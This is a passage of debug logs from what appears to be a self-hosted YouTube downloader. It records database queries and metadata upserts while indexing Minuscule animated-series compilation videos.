(?)) [4] 00:50:08.897 [debug] QUERY OK source="sources" db=0.3ms idle=1251.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:08.898 [debug] QUERY OK source="media_items" db=0.8ms idle=1252.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-08 10:01:40Z], 4] 00:50:08.913 [debug] QUERY OK source="media_items" db=13.8ms idle=1253.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | It Never Rains But It Pours | S01E41\n00:04:48 | A Rolling Snail Gathers No Moss | S01E49\n00:09:24 | Leech | S01E73\n00:13:48 | A Snail’s Dream | S01E11\n00:18:38 | Shell-Less | S01E19\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#snails #drought #journey #water #snail #playground #slide #Minuscule #nature #insects #ladybugs #animatedseries", "It Never Rains But It Pours | Minuscule 🍃 30' Compilation", "51912157-1890-420d-95a6-fcfe13f9419e", "-eoQKdjIWL8", 1432, false, 4, "https://www.youtube.com/watch?v=-eoQKdjIWL8", 47, "/downloads/Miniscule Season 1/2025-05-08 It Never Rains But It Pours | Minuscule 🍃 30' Compilation/It Never Rains But It Pours | Minuscule 🍃 30' Compilation [-eoQKdjIWL8].mp4", false, false, false, [], 1, ~U[2025-05-08 10:01:40Z], ~U[2025-12-14 07:50:08Z], ~U[2025-12-14 07:50:08Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | It Never Rains But It Pours | S01E41\n00:04:48 | A Rolling Snail Gathers No Moss | S01E49\n00:09:24 | Leech | S01E73\n00:13:48 | A Snail’s Dream | S01E11\n00:18:38 | Shell-Less | S01E19\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#snails #drought #journey #water #snail #playground #slide #Minuscule #nature #insects #ladybugs #animatedseries", "It Never Rains But It Pours | Minuscule 🍃 30' Compilation", "-eoQKdjIWL8", 1432, false, 4, "https://www.youtube.com/watch?v=-eoQKdjIWL8", "/downloads/Miniscule Season 1/2025-05-08 It Never Rains But It Pours | Minuscule 🍃 30' Compilation/It Never Rains But It Pours | Minuscule 🍃 30' Compilation [-eoQKdjIWL8].mp4", false, ~U[2025-05-08 10:01:40Z]] 00:50:08.914 [debug] QUERY OK source="sources" db=0.3ms idle=569.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:08.914 [debug] QUERY OK source="media_profiles" db=0.3ms idle=17.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:50:08.915 [debug] QUERY OK source="media_items" db=0.6ms idle=17.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [90098] 00:50:08.916 [debug] Current batch of media processed. Will check again in 1000ms 00:50:09.917 [debug] Current batch of media processed. Will check again in 1000ms 00:50:10.918 [debug] Current batch of media processed. Will check again in 1000ms 00:50:11.919 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Shellproof Nut | S01E40\n00:04:48 | Rosy | S01E38\n00:09:30 | Torpedo | S01E52\n00:14:09 | The Mosquito | S01E58\n00:18:19 | Leech | S01E73\n00:22:44 | Ants | S01E02\n00:27:33 | Dragonflies | S01E33\n00:32:17 | Ladybugs | S01E17\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ants #nut #problem #ideas #busy #ant #objects #conformist #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2247, "filename" => "/downloads/Miniscule Season 1/2025-05-27 The Shellproof Nut | Minuscule 🍃 45' Compilation/The Shellproof Nut | Minuscule 🍃 45' Compilation [THmrro2B8-E].mp4", "id" => "THmrro2B8-E", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=THmrro2B8-E", "playlist_index" => 48, "timestamp" => 1748325657, "title" => "The Shellproof Nut | Minuscule 🍃 45' Compilation", "upload_date" => "20250527"} 00:50:11.920 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1274.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:50:11.921 [debug] QUERY OK source="sources" db=0.4ms idle=1275.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:11.922 [debug] QUERY OK source="media_items" db=0.9ms idle=1276.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-27 06:00:57Z], 4] 00:50:11.939 [debug] QUERY OK source="media_items" db=15.3ms idle=1278.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Shellproof Nut | S01E40\n00:04:48 | Rosy | S01E38\n00:09:30 | Torpedo | S01E52\n00:14:09 | The Mosquito | S01E58\n00:18:19 | Leech | S01E73\n00:22:44 | Ants | S01E02\n00:27:33 | Dragonflies | S01E33\n00:32:17 | Ladybugs | S01E17\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ants #nut #problem #ideas #busy #ant #objects #conformist #Minuscule #nature #insects #ladybugs #animatedseries", "The Shellproof Nut | Minuscule 🍃 45' Compilation", "cee98683-23d5-43f3-8b95-1b40d43dd01c", "THmrro2B8-E", 2247, false, 4, "https://www.youtube.com/watch?v=THmrro2B8-E", 48, "/downloads/Miniscule Season 1/2025-05-27 The Shellproof Nut | Minuscule 🍃 45' Compilation/The Shellproof Nut | Minuscule 🍃 45' Compilation [THmrro2B8-E].mp4", false, false, false, [], 1, ~U[2025-05-27 06:00:57Z], ~U[2025-12-14 07:50:11Z], ~U[2025-12-14 07:50:11Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Shellproof Nut | S01E40\n00:04:48 | Rosy | S01E38\n00:09:30 | Torpedo | S01E52\n00:14:09 | The Mosquito | S01E58\n00:18:19 | Leech | S01E73\n00:22:44 | Ants | S01E02\n00:27:33 | Dragonflies | S01E33\n00:32:17 | Ladybugs | S01E17\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ants #nut #problem #ideas #busy #ant #objects #conformist #Minuscule #nature #insects #ladybugs #animatedseries", "The Shellproof Nut | Minuscule 🍃 45' Compilation", "THmrro2B8-E", 2247, false, 4, "https://www.youtube.com/watch?v=THmrro2B8-E", "/downloads/Miniscule Season 1/2025-05-27 The Shellproof Nut | Minuscule 🍃 45' Compilation/The Shellproof Nut | Minuscule 🍃 45' Compilation [THmrro2B8-E].mp4", false, ~U[2025-05-27 06:00:57Z]] 00:50:11.940 [debug] QUERY OK source="sources" db=0.4ms idle=588.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:11.940 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=19.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:50:11.941 [debug] QUERY OK source="media_items" db=0.5ms idle=19.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91170] 00:50:11.941 [debug] Current batch of media processed. Will check again in 1000ms 00:50:12.943 [debug] Current batch of media processed. Will check again in 1000ms 00:50:13.944 [debug] Current batch of media processed. Will check again in 1000ms 00:50:14.945 [debug] Current batch of media processed. Will check again in 1000ms 00:50:15.946 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Gust Of Wind | S01E13\n00:04:41 | Nap Time | S01E14\n00:09:30 | The Dung Beetle Battle | S01E15\n00:14:15 | Cicadas’ Song | S01E16\n00:19:05 | Ladybugs | S01E17\n00:23:44 | The Bridge On The River Zzzzzzz | S01E18\n00:28:30 | Shell-Less | S01E19\n00:33:14 | Caterpillar Dream | S01E20\n00:38:03 | Horsefly | S01E21\n00:42:45 | Zzzeplin | S01E22\n00:47:34 | United We Stand | S01E23\n00:52:01 | Picnic | S01E24\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#wind #insects #fly #spider #ladybug #nap #dream #cicada #Minuscule #nature #ladybugs #animatedseries", "duration" => 3436, "filename" => "/downloads/Miniscule Season 1/2025-05-17 A Gust Of Wind 🍃 Minuscule 🍃 70' Compilation/A Gust Of Wind 🍃 Minuscule 🍃 70' Compilation [1VoY_0vBfMU].mkv", "id" => "1VoY_0vBfMU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1VoY_0vBfMU", "playlist_index" => 49, "timestamp" => 1747504860, "title" => "A Gust Of Wind 🍃 Minuscule 🍃 70' Compilation", "upload_date" => "20250517"} 00:50:15.947 [debug] QUERY OK source="sources" db=0.3ms idle=587.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:50:15.947 [debug] QUERY OK source="sources" db=0.2ms idle=302.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:15.948 [debug] QUERY OK source="media_items" db=0.7ms idle=302.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-17 18:01:00Z], 4] 00:50:15.951 [debug] QUERY OK source="media_items" db=1.6ms idle=303.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Gust Of Wind | S01E13\n00:04:41 | Nap Time | S01E14\n00:09:30 | The Dung Beetle Battle | S01E15\n00:14:15 | Cicadas’ Song | S01E16\n00:19:05 | Ladybugs | S01E17\n00:23:44 | The Bridge On The River Zzzzzzz | S01E18\n00:28:30 | Shell-Less | S01E19\n00:33:14 | Caterpillar Dream | S01E20\n00:38:03 | Horsefly | S01E21\n00:42:45 | Zzzeplin | S01E22\n00:47:34 | United We Stand | S01E23\n00:52:01 | Picnic | S01E24\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#wind #insects #fly #spider #ladybug #nap #dream #cicada #Minuscule #nature #ladybugs #animatedseries", "A Gust Of Wind 🍃 Minuscule 🍃 70' Compilation", "6a73a52c-e90e-4671-990e-661857e3c7e2", "1VoY_0vBfMU", 3436, false, 4, "https://www.youtube.com/watch?v=1VoY_0vBfMU", 49, "/downloads/Miniscule Season 1/2025-05-17 A Gust Of Wind 🍃 Minuscule 🍃 70' Compilation/A Gust Of Wind 🍃 Minuscule 🍃 70' Compilation [1VoY_0vBfMU].mkv", false, false, false, [], 1, ~U[2025-05-17 18:01:00Z], ~U[2025-12-14 07:50:15Z], ~U[2025-12-14 07:50:15Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Gust Of Wind | S01E13\n00:04:41 | Nap Time | S01E14\n00:09:30 | The Dung Beetle Battle | S01E15\n00:14:15 | Cicadas’ Song | S01E16\n00:19:05 | Ladybugs | S01E17\n00:23:44 | The Bridge On The River Zzzzzzz | S01E18\n00:28:30 | Shell-Less | S01E19\n00:33:14 | Caterpillar Dream | S01E20\n00:38:03 | Horsefly | S01E21\n00:42:45 | Zzzeplin | S01E22\n00:47:34 | United We Stand | S01E23\n00:52:01 | Picnic | S01E24\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#wind #insects #fly #spider #ladybug #nap #dream #cicada #Minuscule #nature #ladybugs #animatedseries", "A Gust Of Wind 🍃 Minuscule 🍃 70' Compilation", "1VoY_0vBfMU", 3436, false, 4, "https://www.youtube.com/watch?v=1VoY_0vBfMU", "/downloads/Miniscule Season 1/2025-05-17 A Gust Of Wind 🍃 Minuscule 🍃 70' Compilation/A Gust Of Wind 🍃 Minuscule 🍃 70' Compilation [1VoY_0vBfMU].mkv", false, ~U[2025-05-17 18:01:00Z]] 00:50:15.951 [debug] QUERY OK source="sources" db=0.3ms idle=306.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:50:15.952 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:50:15.953 [debug] QUERY OK source="media_items" db=0.3ms idle=4.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [90635] 00:50:15.953 [debug] Current batch of media processed. Will check again in 1000ms 00:50:16.954 [debug] Current batch of media processed. Will check again in 1000ms 00:50:17.955 [debug] Current batch of media processed. Will check again in 1000ms 00:50:18.956 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Ladybug | S01E01\n00:04:36 | Ants | S01E02\n00:09:25 | Love Story | S01E03\n00:14:14 | Wasp Belle | S01E04\n00:19:04 | Ugly | S01E05\n00:23:51 | Caterpillars in Pairs | S01E06\n00:28:38 | Yellow | S01E07\n00:33:26 | The Caterpillar and the Brook | S01E08\n00:38:15 | Cowardly Coward | S01E09\n00:43:04 | Convoy | S01E10\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #bees #chase #spider #ants #sugar #garden #anthill #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 2897, "filename" => "/downloads/Miniscule Season 1/2025-05-15 The Ladybug 🐞 Minuscule 🍃 60' Compilation/The Ladybug 🐞 Minuscule 🍃 60' Compilation [LfgYnhHdrKk].mkv", "id" => "LfgYnhHdrKk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=LfgYnhHdrKk", "playlist_index" => 50, "timestamp" => 1747303298, "title" => "The Ladybug 🐞 Minuscule 🍃 60' Compilation", "upload_date" => "20250515"} 00:50:18.957 [debug] QUERY OK source="sources" db=0.4ms idle=1311.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:50:18.958 [debug] QUERY OK source="sources" db=0.2ms idle=1312.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", 